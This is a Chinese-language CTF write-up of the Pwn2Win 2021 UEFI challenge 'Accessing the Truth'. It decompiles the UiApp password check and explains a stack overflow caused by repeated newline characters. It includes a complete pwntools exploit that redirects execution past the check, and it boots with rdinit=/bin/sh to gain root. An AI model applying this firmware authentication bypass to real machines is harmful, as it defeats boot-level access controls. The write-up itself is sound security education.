Pwn2Win CTF 2021 Accessing the Truth的解题思路

本文首发于安全客:解决第一个UEFI PWN——Accessing the Truth解题思路

前段时间打了场PWN2WIN,期间遇到了这道BIOS题,正好来学习一下UEFI PWN
title

题目包含下列文件
title

题目分析

run.py是题目给的启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python3 -u
import random
import string
import subprocess
import tempfile

def random_string(n):
return ''.join(random.choice(string.ascii_lowercase) for _ in range(n))

def check_pow(bits):
r = random_string(10)
print(f"hashcash -mb{bits} {r}")
solution = input("Solution: \n").strip()
if subprocess.call(["hashcash", f"-cdb{bits}", "-r", r, solution],
cwd="/tmp",
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL) != 0:
raise Exception("Invalid PoW")

#check_pow(25)

fname = tempfile.NamedTemporaryFile().name

subprocess.call(["cp", "OVMF.fd", fname])
try:
subprocess.call(["chmod", "u+w", fname])
subprocess.call(["qemu-system-x86_64",
"-monitor", "/dev/null",
"-m", "64M",
"-drive", "if=pflash,format=raw,file=" + fname,
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-nographic"], stderr=subprocess.DEVNULL, timeout=60)
except:
pass

subprocess.call(["rm", "-rf", fname])
print("Bye!")

注释掉pow,直接启动。启动起来是一个低权限用户的linux虚拟机,目标是获取根目录下flag.txt的内容,典型的内核题
title

仔细看启动命令,貌似没加载任何可疑的虚拟设备,排除掉QEMU逃逸
title

解开contents/initramfs.cpio,看到init文件。这里有一条mount -t efivarfs efivarfs /sys/firmware/efi/efivars,怀疑是UEFI PWN
title

另外,启动脚本里有60秒的timout,需要把这里干掉
title

解开OVMF

找到一个工具UEFITool能打开OVMF.fd,里面的文件貌似是PE32格式
title

binwalk也能识别出来是PE,无奈还是解不开,继续找工具
title

发现这工具能解开:UEFI Firmware Parser

1
uefi-firmware-parser -ecO ./OVMF.fd

解开后发现一堆pe raw文件
title

定位到UiApp

既然是BIOS PWN,那就先进BIOS吧,启动时连按F12就进来了。
title

进BIOS以后有一个密码校验,过了应该就能进BIOS。此外,还发现了以下一些信息
title

拿UEFITool能搜到些信息
title

这里的id貌似能跟进BIOS的id对得上,这个应该是GUID
title

在解开的文件里搜462CAA21-7614-4503-836E-8AB6F4662331,找到了这个目录
title

IDA打开section0.pe,分析完以后这里选Unicode
title

查找字符串,就能看到Enter Password:,可以确定section0.pe就是UiApp这个登录校验程序
title

静态分析

校验程序有个sha256
title

漏洞点在:\n不会让while循环break掉,同时index不断自增1,buf = &input_buf[index];获取到的栈地址继续往后延,这样可能会覆盖到返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rsp
void *v4; // rsp
__int64 v5; // rdx
__int64 v6; // r8
__int64 v7; // r9
size_t v8; // rdx
__int64 v9; // r8
__int64 v10; // r9
char *buf; // rdx
unsigned __int64 v12; // rax
__int64 v13; // rdx
__int64 v14; // r8
__int64 v15; // r9
char v17[7]; // [rsp+20h] [rbp-60h] BYREF
char c; // [rsp+27h] [rbp-59h]
char *input_buf; // [rsp+28h] [rbp-58h]
__int64 v20; // [rsp+30h] [rbp-50h]
char *v21; // [rsp+38h] [rbp-48h]
__int64 v22; // [rsp+40h] [rbp-40h]
size_t v23; // [rsp+48h] [rbp-38h]
unsigned __int64 v24; // [rsp+50h] [rbp-30h]
__int64 index; // [rsp+58h] [rbp-28h]

v24 = 0i64;
index = -1i64;
v23 = 32i64;
v22 = 31i64;
v3 = alloca(32i64);
v21 = v17;
v20 = 31i64;
v4 = alloca(32i64);
input_buf = v17;
wputs(word_1395A, 15i64, 32i64, 0i64);
while ( v24 <= 2 )
{
sub_9D3(input_buf, v23, 0i64);
index = -1i64;
wputs(L"Enter Password: \n", v5, v6, v7);
while ( 1 )
{
c = getchar();
++index;
if ( c == '\r' )
break;
if ( c != '\n' )
{
buf = &input_buf[index];
*buf = c;
wputs(L"*", buf, v9, v10);
v12 = wstr_length(input_buf);
v8 = v23 - 1;
if ( v12 >= v23 - 1 )
break;
}
}
wputs(L"\n", v8, v9, v10);
sha256_process(input_buf, index, v21);
if ( !((__int64 (__fastcall *)(char *, void *, size_t))memcmp)(v21, &unk_1B840, v23) )
return 1;
wputs(L"Wrong!!\n", v13, v14, v15);
++v24;
}
return 0;
}

UiApp没开ASLR和NX,溢出后直接在栈执行shellcode即可
title

Debug

启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.arch = "amd64"
context.log_level = "debug"

tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

DEBUG = 1

if DEBUG == 0:
fname = "/tmp/test_uefi"
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))

p = process(["qemu-system-x86_64", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",
"file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})
elif DEBUG == 1:
fname = "/tmp/test_uefi"
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))

p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",
"file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})
elif DEBUG == 2:
p = remote('accessing-the-truth.pwn2win.party', 1337)

def exploit():
p.recvn(1)
# sleep(1)
p.send("\x1b[24~")

p.irt()

if __name__ == "__main__":
exploit()

启动脚本加上-s参数,进BIOS以后gdb attach上
title

问题就是怎么拿到UiApp的加载地址?尝试在gdb里搜这段数据
title

找到三个地址,这里的0x28ba990比较可疑
title
title

减去Enter Password:的offset,即0x28ba990-0x13990 = 0x28a7000,然后以0x28a7000为基址查看main函数的代码
title

可以断定0x28a7000就是UiApp的加载基址
title

0x28a7000修正IDA分析的基址
title

在IDA打上断点,给UiApp发以下数据

1
2
3
4
5
6
7
8
9
10
11
def exploit():
p.recvn(1)
# sleep(1)
p.send("\x1b[24~")

#print(p.recvuntil("Password"))

pause()
p.sa('Password', 'A'*2+'\n'*2+'B'*0x18+'\r')

p.irt()

由于'\n'*2,buf跳过了两个byte的地址,因而发送足够多\n便可溢出到返回地址
title

Hijack to BIOS Booting

&buf = 0x3EBC650距离返回地址0x3EBC6F0-0x3EBC650+8 = 0xa8byte
title

这样构造便能覆盖到返回地址

1
2
payload = b'\n'*0xa8 + p32(0xdeadbeaf)
payload += b'\r'

title

控了rip以后,需要将rip劫持到BIOS正常启动的代码,这片代码便是过了校验后启动BIOS程序
title

对应的汇编代码,尝试劫持到0x28B0DD5
title

另外,发送/r会导致break while,只要令v25>=3即发送三次\r便能跳出外层while并return。
title

现在已经看到能启动到BIOS了
title

但pwntools连接的图形操作还有问题,可以用socat来连

1
socat -,raw,echo=0 SYSTEM:"python ./solve.py"

title

进入BIOS,增加一条启动项,启动内容加上rdinit=/bin/sh,保存后选该启动项来启动系统
title

启动进入到系统,现在已经是root权限
title

打远程
title

Script

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#socat STDIO,icanon=0,echo=0 SYSTEM:"python ./solve.py"
#socat -,raw,echo=0 SYSTEM:"python ./solve.py"

from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rn = tube.recvn
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

DEBUG = 1

if DEBUG == 0:
fname = "/tmp/test_uefi"
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))

p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",
"file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})
elif DEBUG == 1:
p = remote('accessing-the-truth.pwn2win.party', 1337)

def pass_pow():
p.ru('hashcash -mb25')
hash = p.rl().strip()

cmd = 'hashcash -mb25 '+hash.decode(encoding="utf-8")
res = os.popen(cmd)
cash = res.read()
res.close()

p.sa('Solution:', cash)

def exploit():
pass_pow()

p.rn(1)
p.s('\x1b[24~'*10)

#pause()
#p.sa('Password', 'A'*2+'\n'*2+'B'*0x18+'\r')
#payload = 'A'*2+'\n'*2+'B'*0x18+'\r'

#payload = b'\n'*0xa8 + p32(0xdeadbeaf)
#payload += b'\r'

payload = b'\n'*0xa8 + p32(0x28b0dd5)
payload += b'\r'

#pause()
p.sa('Password', payload)

payload = '\r'
p.s(payload)
p.s(payload)

p.irt()


if __name__ == "__main__":
exploit()
⬆︎TOP